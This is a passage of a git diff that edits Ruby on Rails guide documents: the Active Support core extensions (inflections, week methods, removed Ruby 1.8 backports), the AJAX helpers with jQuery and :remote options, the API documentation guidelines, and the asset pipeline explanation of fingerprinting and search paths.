enabled. No big deal, but not clean either. @@ -1241,7 +1251,7 @@ NOTE: Defined in +active_support/core_ext/string/output_safety.rb+. h5. Transformation -As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +donwcase+, +gsub+, +strip+, +chomp+, +underscore+, etc. +As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +downcase+, +gsub+, +strip+, +chomp+, +underscore+, etc. In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe. @@ -1426,6 +1436,14 @@ The method +pluralize+ returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments. ++pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned: + +<ruby> +"dude".pluralize(0) # => "dudes" +"dude".pluralize(1) # => "dude" +"dude".pluralize(2) # => "dudes" +</ruby> + Active Record uses this method to compute the default table name that corresponds to a model: <ruby> @@ -1589,7 +1607,7 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+. h5. +demodulize+ -Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it: +Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it: <ruby> "Product".demodulize # => "Product" @@ -1612,6 +1630,31 @@ end NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +h5. +deconstantize+ + +Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container: + +<ruby> +"Product".deconstantize # => "" +"Backoffice::UsersController".deconstantize # => "Backoffice" +"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" +</ruby> + +Active Support for example uses this method in +Module#qualified_const_set+: + +<ruby> +def qualified_const_set(path, value) + QualifiedConstUtils.raise_if_absolute(path) + + const_name = path.demodulize + mod_name = path.deconstantize + mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod.const_set(const_name, value) +end +</ruby> + +NOTE: Defined in +active_support/core_ext/string/inflections.rb+. + h5. +parameterize+ The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs. @@ -1758,43 +1801,6 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+. h4(#string-conversions). Conversions -h5. +ord+ - -Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encondings like ASCII or ISO-8859-1 in Ruby 1.8: - -<ruby> -"a".ord # => 97 -"à".ord # => 224, in ISO-8859-1 -</ruby> - -In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte support in Active Support for that: - -<ruby> -"a".mb_chars.ord # => 97 -"à".mb_chars.ord # => 224, in UTF8 -</ruby> - -Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. - -INFO: +ord+ is equivalent to +getbyte(0)+. - -NOTE: Defined in +active_support/core_ext/string/conversions.rb+. - -h5. +getbyte+ - -Active Support backports +getbyte+ from Ruby 1.9: - -<ruby> -"foo".getbyte(0) # => 102, same as "foo".ord -"foo".getbyte(1) # => 111 -"foo".getbyte(9) # => nil -"foo".getbyte(-1) # => 111 -</ruby> - -INFO: +getbyte+ is equivalent to +[]+. - -NOTE: Defined in +active_support/core_ext/string/conversions.rb+. - h5. +to_date+, +to_time+, +to_datetime+ The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+: @@ -1881,38 +1887,12 @@ The method +ordinalize+ returns the ordinal string corresponding to the receiver NOTE: Defined in +active_support/core_ext/integer/inflections.rb+. -h3. Extensions to +Float+ - -h4. +round+ - -The built-in method +Float#round+ rounds a float to the nearest integer. In Ruby 1.9 this method takes an optional argument to let you specify a precision. Active Support adds that functionality to +round+ in previous versions of Ruby: - -<ruby> -Math::E.round(4) # => 2.7183 -</ruby> - -NOTE: Defined in +active_support/core_ext/float/rounding.rb+. - h3. Extensions to +BigDecimal+ ... h3. Extensions to +Enumerable+ -h4. +group_by+ - -Active Support redefines +group_by+ in Ruby 1.8.7 so that it returns an ordered hash as in 1.9: - -<ruby> -entries_by_surname_initial = address_book.group_by do |entry| - entry.surname.at(0).upcase -end -</ruby> - -Distinct block return values are added to the hash as they come, so that's the resulting order. - -NOTE: Defined in +active_support/core_ext/enumerable.rb+. - h4. +sum+ The method +sum+ adds the elements of an enumerable: @@ -1960,32 +1940,6 @@ end NOTE: Defined in +active_support/core_ext/enumerable.rb+. -h4. +each_with_object+ - -The +inject+ method offers iteration with an accumulator: - -<ruby> -[2, 3, 4].inject(1) {|product, i| product*i } # => 24 -</ruby> - -The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome: - -<ruby> -[1, 2].inject({}) {|h, i| h[i] = i**2; h} # => {1 => 1, 2 => 4} -</ruby> - -See that spurious "+; h+"? - -Active Support backports +each_with_object+ from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way: - -<ruby> -[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # => {1 => 1, 2 => 4} -</ruby> - -WARNING. Note that the item of the collection and the accumulator come in different order in +inject+ and +each_with_object+. - -NOTE: Defined in +active_support/core_ext/enumerable.rb+. - h4. +index_by+ The method +index_by+ generates a hash with the elements of an enumerable indexed by some key. @@ -2057,20 +2011,6 @@ The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding el NOTE: Defined in +active_support/core_ext/array/access.rb+. -h4. Random Access - -Active Support backports +sample+ from Ruby 1.9: - -<ruby> -shape_type = [Circle, Square, Triangle].sample -# => Square, for example - -shape_types = [Circle, Square, Triangle].sample(2) -# => [Triangle, Circle], for example -</ruby> - -NOTE: Defined in +active_support/core_ext/array/random_access.rb+. - h4. Adding Elements h5. +prepend+ @@ -2297,9 +2237,6 @@ The last point is particularly worth comparing for some enumerables: <ruby> Array.wrap(:foo => :bar) # => [{:foo => :bar}] Array(:foo => :bar) # => [[:foo, :bar]] - -Array.wrap("foo\nbar") # => ["foo\nbar"] -Array("foo\nbar") # => ["foo\n", "bar"], in Ruby 1.8 </ruby> There's also a related idiom that uses the splat operator: @@ -2823,14 +2760,6 @@ WARNING: The original +Range#include?+ is still the one aliased to +Range#===+. NOTE: Defined in +active_support/core_ext/range/include_range.rb+. -h4. +cover?+ - -Ruby 1.9 provides +cover?+, and Active Support defines it for previous versions as an alias for +include?+. - -The method +include?+ in Ruby 1.9 is different from the one in 1.8 for non-numeric ranges: instead of being based on comparisons between the value and the range's endpoints, it walks the range with +succ+ looking for value. This works better for ranges with holes, but it has different complexity and may not finish in some other cases. - -In Ruby 1.9 the old behavior is still available in the new +cover?+, which Active Support backports for forward compatibility. For example, Rails uses +cover?+ for ranges in +validates_inclusion_of+. - h4. +overlaps?+ The method +Range#overlaps?+ says whether any two given ranges have non-void intersection: @@ -2948,15 +2877,30 @@ Active Support defines these methods as well for Ruby 1.8. h6. +beginning_of_week+, +end_of_week+ -The methods +beginning_of_week+ and +end_of_week+ return the dates for the beginning and end of week, assuming weeks start on Monday: +The methods +beginning_of_week+ and +end_of_week+ return the dates for the +beginning and end of the week, respectively. Weeks are assumed to start on +Monday, but that can be changed passing an argument. <ruby> -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.beginning_of_week # => Mon, 03 May 2010 -d.end_of_week # => Sun, 09 May 2010 +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.beginning_of_week # => Mon, 03 May 2010 +d.beginning_of_week(:sunday) # => Sun, 02 May 2010 +d.end_of_week # => Sun, 09 May 2010 +d.end_of_week(:sunday) # => Sat, 08 May 2010 </ruby> -+beginning_of_week+ is aliased to +monday+ and +at_beginning_of_week+. +end_of_week+ is aliased to +sunday+ and +at_end_of_week+. ++beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+. + +h6. +monday+, +sunday+ + +The methods +monday+ and +sunday+ return the dates for the beginning and +end of the week, respectively. Weeks are assumed to start on Monday. + +<ruby> +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.monday # => Mon, 03 May 2010 +d.sunday # => Sun, 09 May 2010 +</ruby> h6. +prev_week+, +next_week+ @@ -3181,8 +3125,10 @@ The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ <ruby> yesterday tomorrow -beginning_of_week (monday, at_beginning_of_week) -end_on_week (at_end_of_week) +beginning_of_week (at_beginning_of_week) +end_of_week (at_end_of_week) +monday +sunday weeks_ago prev_week next_week @@ -3355,8 +3301,10 @@ ago since (in) beginning_of_day (midnight, at_midnight, at_beginning_of_day) end_of_day -beginning_of_week (monday, at_beginning_of_week) -end_on_week (at_end_of_week) +beginning_of_week (at_beginning_of_week) +end_of_week (at_end_of_week) +monday +sunday weeks_ago prev_week next_week @@ -3385,7 +3333,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3408,7 +3356,7 @@ The method +all_day+ returns a range representing the whole day of the current t now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 </ruby> Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. @@ -3417,13 +3365,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 </ruby> h4. Time Constructors @@ -3481,12 +3429,6 @@ Time.utc_time(1582, 10, 3) + 5.days # => Mon Oct 18 00:00:00 UTC 1582 </ruby> -h3. Extensions to +Process+ - -h4. +daemon+ - -Ruby 1.9 provides +Process.daemon+, and Active Support defines it for previous versions. It accepts the same two arguments, whether it should chdir to the root directory (default, true), and whether it should inherit the standard file descriptors from the parent (default, false). - h3. Extensions to +File+ h4. +atomic_write+ @@ -3518,8 +3460,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") +logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 77f7661deb..3a0ccfe9b2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,7 +3,7 @@ h2. AJAX on Rails This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc * Testing JavaScript functionality endprologue. @@ -26,14 +26,78 @@ How do 'standard' and AJAX requests differ, why does this matter for understandi h3. Built-in Rails Helpers -Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as: -To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: +<ruby> +javascript_include_tag :defaults +</ruby> + +h4. Examples + +All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method. <ruby> -javascript_include_tag 'prototype' +button_to "New", :action => "new", :form_class => "new-thing" </ruby> +will produce + +<html> +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +</html> + +<ruby> +button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } +</ruby> + +will produce + +<html> +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +</html> + +<ruby> +button_to "Delete Image", { :action => "delete", :id => @image.id }, + :confirm => "Are you sure?", :method => :delete +</ruby> + +will produce + +<html> +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +</html> + +<ruby> +button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?', + :method => "delete", :remote => true, :disable_with => 'loading...') +</ruby> + +will produce + +<html> +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +</html> + +You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application. + +<shell> +rails new app_name -j prototype +</shell> + You are ready to add some AJAX love to your Rails app! h4. The Quintessential AJAX Rails Helper: link_to_remote @@ -104,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -124,6 +188,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -133,6 +198,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index c0f709eda8..93120c15a7 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -134,19 +134,12 @@ h4. Regular Font When "true" and "false" are English words rather than Ruby keywords use a regular font: -<ruby> -# If <tt>reload_plugins?</tt> is false, add this to your plugin's <tt>init.rb</tt> -# to make it reloadable: -# -# Dependencies.load_once_paths.delete lib_path -</ruby> - h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile index ce4eafb97c..ff2bd08602 100644 --- a/railties/guides/source/asset_pipeline.textile +++ b/railties/guides/source/asset_pipeline.textile @@ -6,7 +6,7 @@ By referring to this guide you will be able to: * Understand what the asset pipeline is and what it does * Properly organize your application assets * Understand the benefits of the asset pipeline -* Adding a pre-processor to the pipeline +* Add a pre-processor to the pipeline * Package assets with a gem endprologue. @@ -17,65 +17,75 @@ The asset pipeline provides a framework to concatenate and minify or compress Ja Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. -By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf. +Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. -In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition: +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: -<plain> +<ruby> config.assets.enabled = false +</ruby> + +You can also disable the asset pipeline while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets </plain> -It is recommended that you use the defaults for all new apps. +You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline. h4. Main Features -The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. While Rails already has a feature to concatenate these types of assets -- by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+ -- many people do not use it. +The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application. -The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. +Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing +:cache => true+ at the end of the +javascript_include_tag+ and +stylesheet_link_tag+ methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. -The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master +.js+ file and all CSS files into one master +.css+ file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.. -The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. +The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. + +The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default. h4. What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file. +Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_. +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_. -The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash. +The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ could be renamed with an MD5 digest of its contents: <plain> -global.css => global-908e25f4bf641868d8683022a5b62f54.css +global-908e25f4bf641868d8683022a5b62f54.css </plain> This is the strategy adopted by the Rails asset pipeline. -Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this: <plain> /stylesheets/global.css?1309495796 </plain> -This has several disadvantages: +The query string strategy has several disadvantages: <ol> <li> - <strong>Not all caches will cache content with a query string</strong><br> - "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. + <strong>Not all caches will reliably cache content where the filename only differs by query parameters</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. </li> <li> <strong>The file name can change between nodes in multi-server environments.</strong><br> - The query string in Rails is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. + The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. + </li> + <li> + <strong>Too much cache invalidation</strong><br /> + When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. </li> </ol> -The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content. -Fingerprinting avoids all these problems by ensuring filenames are consistent based on their content. - -Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. +Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. More reading: @@ -87,33 +97,85 @@ h3. How to Use the Asset Pipeline In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. -This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. +Assets can still be placed in the +public+ hierarchy. Any assets under +public+ will be served as static files by the application or web server. You should use +app/assets+ for files that must undergo some pre-processing before they are served. -In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the webserver. +In production, Rails precompiles these files to +public/assets+ by default. The precompiled copies are then served as static assets by the web server. The files in +app/assets+ are never served directly in production. -When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. +When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. -For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. +For example, if you generate a +ProjectsController+, Rails will also add a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. -NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. +NOTE: You must have an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. h4. Asset Organization -Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. +Pipeline assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. +app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. +lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. -+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. ++vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. -All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. +h5. Search paths -You can add additional (fully qualified) paths to the pipeline in +application.rb+. For example: +When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it. -<erb> -config.assets.paths << File.join(Rails.root, 'app', 'assets', 'flash') -</erb> +The default locations are: +app/assets/images+ and the subdirectories +javascripts+ and +stylesheets+ in all three asset locations. + +For example, these files: + +<plain> +app/assets/javascripts/home.js +lib/assets/javascripts/moovinator.js +vendor/assets/javascript/slider.js +</plain> + +would be referenced in a manifest like this: + +<plain> +//= require home +//= require moovinator +//= require slider +</plain> + +Assets inside subdirectories can also be accessed. + +<plain> +app/assets/javascripts/sub/something.js +</plain> + +is referenced as: + +<plain> +//= require sub/something +</plain> + +You can view the search path by inspecting +Rails.application.config.assets.paths+ in the Rails console. + +Additional (fully qualified) paths can be added to the pipeline in +config/application.rb+. For example: + +<ruby> +config.assets.paths << Rails.root.join("app", "assets", "flash") +</ruby> + +Paths are traversed in the order that they occur in the search path. + +It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment. + +h5. Using index files + +Sprockets uses files named +index+ (with the relevant extensions) for a special purpose. + +For example, if you have a jQuery library with many modules, which is stored in +lib/assets/library_name+, the file +lib/assets/library_name/index.js+ serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple <tt>require_tree</tt> directive. + +The library as a whole can be accessed in the site's application manifest like so: + +<plain> +//= require library_name +</plain> + +This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere. h4. Coding Links to Assets @@ -130,7 +192,7 @@ In regular views you can access images in the +assets/images+ directory like thi <%= image_tag "rails.png" %> </erb> -Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the web server. Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. @@ -144,7 +206,7 @@ Images can also be organized into subdirectories if required, and they can be ac h5. CSS and ERB -If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then you can use the +asset_path+ helper in your CSS rules: +The asset pipeline automatically evaluates ERB. This means that if you add an +erb+ extension to a CSS asset (for example, +application.css.erb+), then helpers like +asset_path+ are available in your CSS rules: <plain> .class { background-image: url(<%= asset_path 'image.png' %>) } @@ -152,7 +214,7 @@ If you add an +erb+ extension to a CSS asset, making it something such as +appli This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. -If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. <plain> #logo { background: url(<%= asset_data_uri 'logo.png' %>) } @@ -164,41 +226,42 @@ Note that the closing tag cannot be of the style +-%>+. h5. CSS and Sass -When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset 